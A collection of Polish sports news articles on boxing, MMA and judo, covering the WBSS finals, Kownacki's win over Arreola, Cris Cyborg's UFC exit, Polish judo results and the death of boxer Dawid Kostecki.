W pozostałych dwóch kategoriach wagowych takich kłopotów nie ma. Szczególną uwagę będziemy zapewne poświęcać rywalizacji w Rydze. W finale wagi junior ciężkiej spotkają się Mairis Briedis i Yuniel Dorticos. Rywalem zwycięzcy powinien być Krzysztof Głowacki. Doskonale pamiętamy półfinałową rywalizację, w której Brieidis w kontrowersyjnych okolicznościach wygrał z Polakiem. Łotysz dopuszczał się nieczystych zagrywek, trafił Głowackiego po czasie, na co nie zareagował sędzia. Po pojedynku Briedis kpił z całej sytuacji. Polska strona protestowała, ale nic z tego. Briedis szykuje się do finału, a Głowacki czeka na kolejną walkę. Drugi z finalistów – Yunier Dorticos w ćwierćfinale pokonał Mateusza Masternaka, z kolei w półfinale znokautował Andrew Tabitiego. Stawką finałowej potyczki będą pasy WBC, WBO i IBF. Pojedynek odbędzie się 14 grudnia.

Zanim Briedis i Dorticos wejdą do ringu, poznamy najlepszego w rywalizacji w wadze koguciej. 7 listopada w Tokio zmierzą się Naoya Inoue i Nonito Donaire. 26-letni Japończyk świetnie spisuje się w turnieju WBSS. Inoue znajduje się w posiadaniu pasów WBA i IBF, a w ćwierćfinale pokonał Juana Carlos Payano już w pierwszej rundzie, zaś w półfinale w drugiej odsłonie znokautował Emmanuela Rodrigueza. W finałowym pojedynku jego rywalem będzie doświadczony Nonito Donaire. Filipińczyk znajduje się w posiadaniu pasów WBC Diamond i WBA. W drodze do finału Donaire pokonał Ryana Burnetta i Stephona Younga.

KM

Nowa era Justino

Po ostatniej walce Cristiane Justino, UFC 240, uwydatnił się konflikt zawodniczki z prezesem organizacji – Dana White'm. "Cyborg" zapowiada rozpoczęcie nowej ery w swojej karierze.

Na linii Justino – White wrzało od dłuższego czasu. Nieporozumienia, przepychanki medialne sprawiły, że sprawa nabrała gigantycznych rozmiarów. Strony pałały do siebie niechęcia. Po zwycięstwie "Cyborg" nad Felicią Spencer, White nie ukrywał, że Brazylijka go nie zachwyciła. Fundamentem jest jednak sprawa rewanżu Justino z Amandą Nunes. White niejednokrotnie mówił, że "Cyborg" nie chce drugiej walki z mistrzynią dwóch kategorii – koguciej i piórkowej. Podczas spotkania Justino zarzuciła promotorowi kłamstwo.

Strony nie potrafiły osiągnąć porozumienia. Finał jest taki, że Brazylijka pożegnała się z UFC. Zaprzecza jednak informacjom o zwolnieniu. – Zakończyłam erę w UFC. Miałam ostatnią walkę, co oznacza, że nikt mnie nie wyrzucił. Mieliśmy erę EliteXC, erę Strikeforce, erę Invicta i erę UFC. Wszystkie były sukcesami. Wkrótce zaczniemy nową erę. Niebawem przekażę wiadomość. Jestem podekscytowana – napisała Cristiane Justino w mediach społecznościowych.

"Cyborg" była związana z UFC przez ponad trzy lata. Wszyscy długo czekali na angaż Brazylijki, ponieważ uchodziła za czołową postać kobiecego MMA. Zdecydowaną większość walk kończyła przed czasem. Wyczekiwano walki Justino z wiodącą wówczas prym w UFC – Rondą Rousey. Niejednokrotnie spekulowano na ten temat, jednak zanim Brazylijka trafiła do amerykańskiej organizacji, „Rowdy” straciła tytuł i popadła w kryzys.

Przygodę z UFC „Cyborg” zaczęła od wygranej w pierwszej rundzie z Leslie Smith. Łącznie w organizacji stoczyła siedem walk, z których sześć zakończyło się jej triumfem. W lipcu 2017 roku podczas gali UFC 214 Brazylijka wywalczyła pas wagi piórkowej. Tytułu skutecznie broniła dwukrotnie – z Holly Holm i Janą Kunickają. W grudniu 2018 roku straciła pas na rzecz Amandy Nunes, z którą przegrała przez nokaut po zaledwie 51 sekundach walki!

Wcześnej Justino zapisała na swoim koncie pasy mistrzowskie w organizacjach Strikeforce i Invicta.

KM

Kownacki wysoko, powrót Usyka blisko

O tym, że w wadze ciężkiej jest ciekawie – nikogo nie trzeba przekonywać. Po zwycięstwie nad Chrisem Arreolą, w rankingu federacji IBF w górę poszybował Adam Kownacki. Z kolei jesienią w kategorii królewskiej zadebiutuje Oleksandr Usyk.

3 sierpnia w Barclays Center na Brooklynie Adam Kownacki zanotował dwudziestą wygraną na zawodowym ringu. Polak pokonał Chrisa Arreolę i utorował sobie drogę do starcia o pasy mistrzowskie. Trzeba przypomnieć, że Kownacki był wymieniany jako potencjalny rywal Anthony'ego Joshuy po dopingowej wpadce Jarrella Millera. "AJ" zmierzył się z Andy'm Ruizem Jr. i wszyscy wiemy jak to się skończyło. Wracając do Kownackiego, po zwycięstwie nad Arreolą "Babyface" awansował w rankingu federacji IBF z czwartej na trzecią pozycję. Przed Polakiem znajduje się Kubrat Pulew, który jest obowiązkowym pretendentem do pasa. Druga lokata jest nieobsadzona. Za plecami Kownackiego są m.in. Anthony Joshua i Tyson Fury. Z kolei w rankingu serwisu boxrec.com 30-latek plasuje się na 10. miejscu wśród pięściarzy wagi ciężkiej. Stawce przewodzi Andy Ruiz Jr., który wyprzedza Deontaya Wildera i Joshuę.

Oczekiwanie nad debiut

Szesnaście zwycięstw na zawodowym ringu zanotował Oleksandr Usyk. We wrześniu 2016 roku we Wrocławiu Ukrainiec pokonał Krzysztofa Głowackiego i zdobył pas WBO w kategorii junior ciężkiej. Następnie Usyk wygrał pierwszą edycję turnieju World Boxing Super Series, czym udowodnił swoją dominację. Tym samym stał się posiadaczem pasów WBC, WBA i IBF. W listopadzie 2018 roku pokonał Tony'ego Bellewa i była to jest ostatnia walka w wadze junior ciężkiej. Usyk podjął decyzję o zmianie kategorii na ciężką. Debiut ukraińskiego pięściarza zaplanowano na maj br. Usyk miał rywalizować z Carlosem Takamem, jednak na przeszkodzie stanęła kontuzja prawego barku 32-latka urodzonego w Symferopolu. Bokser miał więc przymusową przerwę.

Wszystko wskazuje na to, że debiut Ukraińca nastąpi 12 października w Chicago. Szczegóły walki nie są jednak znane. Niewykluczone, że rywalem Usyka będzie, tak jak pierwotnie planowano, Carlos Takam.

Fot. Adam Kownacki Facebook

KM

Nie jadą na mistrzostwa, związek wyjaśnia

Polski Związek Judo podał skład reprezentacji Polski na zbliżające się mistrzostwa świata w Tokio. W kadrze nie znaleźli się Karolina Pieńkowska (52kg), Piotr Kuczera (90kg, na zdjęciu) oraz Maciej Sarnacki (+100kg). Związek wyjaśnił swoją decyzję.

Brak Pieńkowskiej, Kuczery i Sarnackiego jest sporym zaskoczeniem. Zwłaszcza, że w ostatnim czasie regularnie reprezentowali Polskę w najważniejszych imprezach. Pieńkowska była członkiem drużyny, która w 2016 roku zdobyła złoto mistrzostw Europy w Kazaniu. Z kolei w 2015 roku wywalczyła młodzieżowe mistrzostwo Starego Kontynentu. Trzy lata temu w Kazaniu Piotr Kuczera wywalczył indywidualnie brązowy medal. Stał także na najniższym stopniu podium w drużynie. Potem wygrywał zawody Pucharu Europy w Rzymie i Katowicach (2017 rok) oraz w Sofii (2018). Członkiem brązowej drużyny w 2016 roku był Maciej Sarnacki. Doświadczony zawodnik ma na koncie osiem medali imprez rangi Grand Prix i Grand Slam.

W kadrze na mistrzostwa świata wymienionej trójki próżno szukać. – Karolina Pienkowska nie ma kryterium wynikowego, również aktualnie ma zwolnieniem lekarskiej-kontuzja do 12 sierpnia – poinformował Polski Związek Judo. Brak kryterium wynikowego jest również przyczyną braku Kuczery. – Maciej Sarnacki nie uzyskał rekomendacji sztabu szkoleniowego do startu w MŚ 2019. Podstawowa przyczyna to brak realizacji programu przygotowań centralnych. Kolejna to brak realizacji założeń wynikowych we wszystkich tegorocznych startach międzynarodowych. Jako zawodnik z pierwszej 10 rankigu miał zadanie zajmowania miejsc 1-5 na zawodach międzynarodowych – od ponad roku nie zrealizował tego zadania. Nie podjął także współpracy z psychologiem. Zignorował także starty w zawodach krajowych (PPS w Sobótce i Pile), pomimo informacji, że są one warunkiem finansowania w akcjach zagranicznych zawodników KN – przedstawił PZJ.

Do Tokio poleci 16-osobowa reprezentacja Polski. O medale powalczą: Agata Perenc (52kg), Aleksandra Kaleta (52kg), Anna Borowska (57kg), Julia Kowalczyk (57kg), Agata Ozdoba-Błach (63kg), Karolina Tałach (63kg), Daria Pogorzelec (70kg), Eliza Wróblewska (70kg), Beata Pacut (78kg), Tomer Golomb (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg), Sebastian Marcinkiewicz (81kg), Damian Szwarnowiecki (81kg), Iwo Baraniewski (100kg), Oleksii Lysenko (100kg). Rezerwową jest Arleta Podolak (57kg).

Rok temu w Baku Polacy nie wywalczyli medalu. Najbliższej sukcesu był Damian Szwarnowiecki, który uplasował się na piątym miejscu.

Mistrzostwa świata w Tokio odbędą się w dniach 25-31 sierpnia.

KM

Tuż za podium

Na czwartym miejscu w klasyfikacji medalowej zakończyli rywalizację w Pucharze Europy Juniorów w judo w Poznaniu reprezentanci Polski. Na swoim koncie zapisali osiem krążków. Najlepsi byli Rosjanie – 12.

Bez wątpienia największe powody do zadowolenia ma Kinga Wolszczak (+78kg), która sięgnęła po złoty medal. Po raz kolejny 17-latka pokazała, że jest w fenomenalnej formie. W tegorocznych startach Wolszczak nie schodzi z podium! Wygrała drugie zawody z rzędu. W maju triumfowała w Maladze, zaś wcześniej była druga w Lignano i trzecia w Atenach. W Poznaniu w wadze ciężkiej obowiązywał system "każdy z każdym". Początek rywalizacji nie był udany dla Wolszczak, która przegrała z Julią Świątkiewicz. Pojedynek rozstrzygnął się dopiero w dodatkowym czasie. Kolejne trzy walki 17-latka wygrała przed czasem – pokonała Alicję Sokołowską i dwie judoczki z Rosji. Świątkiewicz zanotowała po drodze dwie porażki i uplasowała się poza podium, a Wolszczak cieszyła się z triumfu.

Powody do zadowolenia ma również Eliza Wróblewska (70kg). Polka znakomicie rozpoczęła rywalizację w Poznaniu i w zaledwie pół minuty odprawiła Niemkę Leonie Beyersdorf, potem wygrała z Darją Piskunovą i przyszło jej rywalizować o złoto. W finale Wróblewska musiała uznać wyższość Andeli Violić, dla której był to pierwszy triumf w Pucharze Europy. Z kolei młoda Polka zanotowała czwarte podium w tym roku.

Posypały się za to brązowe medale. Na najniższym stopniu podium stawali: Natalia Kropska (63kg), Zuzanna Logozna (57kg), Lucja Obal (57kg), Paulina Szlachta (48kg), Wojciech Kordyalik (+100kg) oraz Sebastian Ołdak (90kg).

Tuż za podium, na piątych lokatach, uplasowali się Jagoda Tata (57kg), Weronika Strycz (48kg), Aleksandra Sokołowska (63kg), Martyna Nolewajka (78kg), Aleksandra Janeczko (52kg), Maria Baczek (78kg) i Dawid Hypta (60kg).

Najlepsi w Poznaniu okazali się Rosjanie – pięć złotych, cztery srebrne i trzy brązowe. Za ich plecami Węgrzy – trzy złota i brąz oraz Francuzi – po dwa złote i srebrne medale oraz cztery brązowe.

W zawodach wzięło udział 179 judoczek i judoków.

Fot. PZJudo

KM

Warto było wstać

Adam Kownacki pokonał Chrisa Arreolę i po raz dwudziesty w zawodowej karierze wzniósł ręce w geście triumfu. Z pewnością polscy kibice, którzy czekali na walkę bądź wyrwali się ze snu – swojej decyzji nie żałują.

30-latek urodzony w Łomży jest naszą nadzieją wagi ciężkiej. Uosobieniem marzeń o Polaku na tronie mistrzowskim. Kiedyś zarywaliśmy noce, żeby oglądać pojedynki Andrzeja Gołoty i Tomasza Adamka. Teraz przyszedł czas na Adama Kownackiego, który konsekwentnie zmierza do walki o pas mistrzowski.

Pojedynek z Arreolą miała być dla Polaka prawdziwym testem, weryfikacją, a w zasadzie ostatnią przeszkodą. Kownacki mierzył się z bokserem, który miał okazję rywalizować z tuzami wagi ciężkiej – Witalijem Kliczko czy Deontayem Wilderem. Po pas jednak nie sięgnął, ale od lat zalicza się do czołówki kategorii królewskiej. Co prawda czas świetności Arreola ma za sobą, ale jak pokazało starcie w Barclays Center to nadal mocny rywal, który twardo trzyma się na nogach.

Walka była niezwykle intensywna. Kownacki był niezwykle skuteczny z dystansu, wyprowadzał wiele ciosów, które dały się we znaki Amerykaninowi. Ten pokazał jednak, że jest twardy. Szukał swojej szansy w półdystansie, ale bez efektu. Paliwa pięściarzom zaczęło brakować w dziesiątej rundzie. Widać było zmęczenie, ale trudno się dziwić skoro we wcześniejszych odsłonach walczyli na maksimum możliwości. Cios za ciosem, czego efektem jest rekord wyprowadzanych ciosów w wadze ciężkiej – 2172. 667 doszło do celu.

Dwanaście niezwykle ciekawych rund. Sędziowie nie mieli żadnych wątpliwości – 118:110, 117:111 i 117:111 dla Kownackiego, który zdobył interkontynentalny pas IBF. To dwudziesta wygrana Polaka w karierze. Radość, euforia, duma – Adam Kownacki daje polskim kibicom powody do szczęścia Jest przykładem człowieka, który ciężko pracuje na swój sukces, a przy tym jest skromny, pewny siebie i konsekwentny. 

Teraz wypada zadać pytanie – kiedy kolejna walka. Apetyt rośnie – czekamy na starcie o pas mistrzowski. Trzeba bacznie obserwować sytuację i patrzeć na Wildera, Ruiza i Joshuę. Zapewne na któregoś z nich trafi niebawem Kownacki. Szykujmy się na kolejną noc pełną emocji.

KM

Mocny rywal na start

27 września Rafał Haratyk zadebiutuje w organizacji ACA. Podczas gali w Moskwie Polak zmierzy się z Ibragimem Czużigajewem. Odsłonięte zostały kolejne karty przed KSW 50.

Haratyk stał się czołową postacią organizacji Babilon MMA, w której zanotował cztery zwycięstwa. Zaczął od wygranej z Łukaszem Bieńkowskim, potem był Johan Romming, udany rewanż za porażkę na FEN 11 z Marcinem Naruszczką. W grudniu w Raszynie zawodnik z Bielska-Białej pokonał Macieja Różańskiego. Dobra postawa Haratyka nie uszła uwadze włodarzy organizacji ACA. W lipcu zawodnik poinformował o podpisaniu umowy z federacją. Teraz poznał nazwisko pierwszego rywala. Będzie nim Rosjanin Ibragim Czużigajew, który wygrał ostatnie cztery walki. W lutym w hali Torwar najbliższy rywal Haratyka mierzył się z innym Polakiem – Piotrem Strusem. Podczas ACA 92 lepszy okazał się Rosjanin, choć triumfował po niejednogłośnej decyzji sędziów. Strus dobrze zaprezentował się w drugiej i trzeciej rundzie. Początek starcia dla Czuzigajewa i publiczność liczyła na triumf Polaka, jednak ten musiał pogodzić się z porażką.

Zatem Haratyk ma znakomitą okazję, aby pomścić rodaka. Zadanie nie jest łatwe, bo Czuzigajew to weteran ACA (wcześniej ACB).Ostatnią porażką zanotował w kwietniu 2017 roku, kiedy to przegrał przez poddanie z Vyacheslavem Vasilevskym.

Debiut Haratyka w rosyjskiej organizacji będzie miał miejsce 27 września podczas gali ACA 99. Dla zawodnika DAAS BERSERKERS TEAM będzie to kolejna przygoda z zagraniczną organizacją. Wcześniej rywalizował w afrykańskiej EFC, gdzie zmierzył się m.in. ze znanym z KSW Dricusem Du Plessisem.

Rywal na „50”

Podczas gali KSW 50, która odbędzie się 14 września w Londynie swoją… pięćdziesiątą walkę w karierze stoczy Antonio Chmielewski. 37-latek zmierzy się z Jasonem Radcliffem. Anglik wygrał 15 walk, z czego aż 10 przez nokaut. Na swoim koncie ma również siedem porażek. Chmielewski będzie polował na 33 wygraną. Co warto dodać, na kolejne zwycięstwo Polak czeka już ponad trzy lata.

Kilka dni temu rywala poznał Damian Janikowski. Brązowy medalista igrzysk olimpijskich z Londynu na Wembley zmierzy się z Tony'm Gilesem. Janikowski przegrał ostatnie dwie walki w KSW. Rywal ma serię czterech zwycięstw, w MMA rywalizuje od 2009 roku.

Fot. ACA/Facebook

KM

Nie żyje bokser Dawid „Cygan” Kostecki

Dawid „Cygan” Kostecki popełnił samobójstwo. Bokser miał 38 lat. Na zawodowych ringach stoczył ponad 40 pojedynków.

Kostecki popełnił samobójstwo w celi Aresztu Śledczego w Warszawie-Białołęce. 38-latek odbywał karę pięciu lat i stu dniapozbawienia wolności za kierowanie grupą przestępczą, która zajmowała się m.in. praniem brudnych pieniędzy i handlem narkotykami. Do końca pobytu w więzieniu pozostały mu dwa lata.

W zawodowej karierze Kostecki wygrał 39 walk, w tym 25 przez nokaut. Dwukrotnie schodził z ringu pokonany. Na swoim koncie zapisał tytuł młodzieżowego mistrza świata WBC w wadze półciężkiej. W tej samej kategorii zdobywał pasy federacji WBF i IBC. Zapisał na swoim koncie również interkontynentalne mistrzostwo WBA.

Kariera Kosteckiego zapowiadała się bardzo dobrze. Swego czasu "Cygan" był jednym z najpopularniejszych polskich bokserów. W ringu prezentował się znakomicie i większość walk kończył przed czasem. W 2005 roku stoczył pojedynek w Stanach Zjednoczonych, gdzie pokonał Tuckera Lamberta. Pierwszą porażkę poniósł w maju 2006 roku na ringu w Krośnie. Kostecki został znokautowany przez Rachida Kanfouaha w starciu o wakujący tytuł IBC. Na drodze jego rozwoju stawały… problemy z prawem.

Jeszcze zanim wszedł na zawodowy ring, spędził rok w więzieniu za pobicie. Później sąd kilkukrotnie skazywał go na karę pozbawienia wolności m.in. za założenie i współkierowanie grupą przestępczą. W 2012 roku Kostecki miał walczyć z wielkim Royem Jonesem Jr., jednak na dziesięć dni przed walką został zatrzymany. To było wydarzenie, którego w głównej mierze wpłynęło na dalszą karierę sportową Kosteckiego. Po pobycie w więzieniu wrócił na ring w listopadzie 2014 roku. Stoczył pojedynek z Andrzejem Sołdrą, który przegrał. Później okazało się, że stosował niedozwolone środki i został zawieszony na dwa lata. Chciał spróbować swoich sił w MMA, jednak w listopadzie 2015 roku w ciężkim stanie trafił do szpitala. Spekulowano, że Kostecki próbował popełnić samobójstwo.

2 sierpnia otrzymaliśmy smutną informację. Dawid „Cygan” Kostecki nie żyje. Miał zaledwie 38 lat.

KM

Faworyt Kownacki

Adam Kownacki jest faworytem starcia z Chrisem Arreolą. Pojedynek odbędzie się w nocy z soboty na niedzielę (3-4 sierpnia) w Barclays Center na Brooklynie.

Arreola ma ambicje i nie ukrywa, że nadal marzy o zdobyciu tytułu mistrza świata. Coraz częściej w gronie kandydatów do rywalizacji o pasy wymienia się Adama Kownackiego. Polak świetną postawą znalazł się wśród czołowych pięściarzy wagi ciężkiej. W Barclays Center stoczy walkę z doświadczonym i mocnym rywalem, na którego musi uważać. Arreola aż 33 z 38 wygranych zanotował przed czasem. Faworytem pojedynku jest jednak 30-letni bokser urodzony w Łomży. Jest osiem lat młodszy od Amerykanina, który tak naprawdę ma ostatnią szansę na przybliżenie się do wielkich walk. Jeśli przegra, zostanie z tyłu stawki.

W marcu Arreola pokonał przed czasem Jeana Pierre Augustina, zaś wcześniej odprawił Maurenzo Smitha. Z kolei w 2016 roku dostał szansę na zdobycie pasa WBC. Nie znalazł jednak sposobu na Deontaya Wildera, który mocno go obił. Arreola nie wyszedł do dziewiątej rundy. To nie była pierwsza mistrzowska szansa Arreoli. Wcześniej poległ w starciach z Bermane Stivernem oraz Witalijem Kliczko. W kwietniu 2010 roku Amerykanin przegrał z Tomaszem Adamkiem.

Kownacki zmierzy się z rywalem o wyrobionej marce, jednak na tę chwilę to popularny „Baby Face” jest na fali. Rozgłosu nadała mu wygrana z Arturem Szpilką, ale do tego zwycięstwa podchodzono z dystansem. Z pewnością spowodowane to było "brzuszkiem" Kownackiego. Ruiz Jr. udowodnił, że to żadna przeszkoda do odniesienia sukcesu. Kownacki pokonał Iago Kiladze, jednak wygrana z byłym mistrzem świata IBF Charlesem Martinem stanowiła najlepszy dowód jego umiejętności. W tym roku "Baby Face" wprawił bokserski świat w zachwyt. Styczniową walkę z Geraldem Washingtonem zakończył w drugiej rundzie! Szybciej niż sam mistrz WBC Deontay Wilder.

Cel jest prosty – pokonać Arreolę, a potem droga będzie otwarta. W wadze ciężkiej dzieje się wiele. Dawno tak ciekawie nie było. Tym bardziej cieszy fakt, że w czołówce znajduje się Polak. Co do najbliższej walki Kownackiego, Arreola zapowiada nokaut, Polak również jest pewny swego. Obaj potrafią efektownie wygrywać przed czasem. Czeka nas gorąca noc na Brooklynie.

Fot. Adam Kownacki Facebook

KM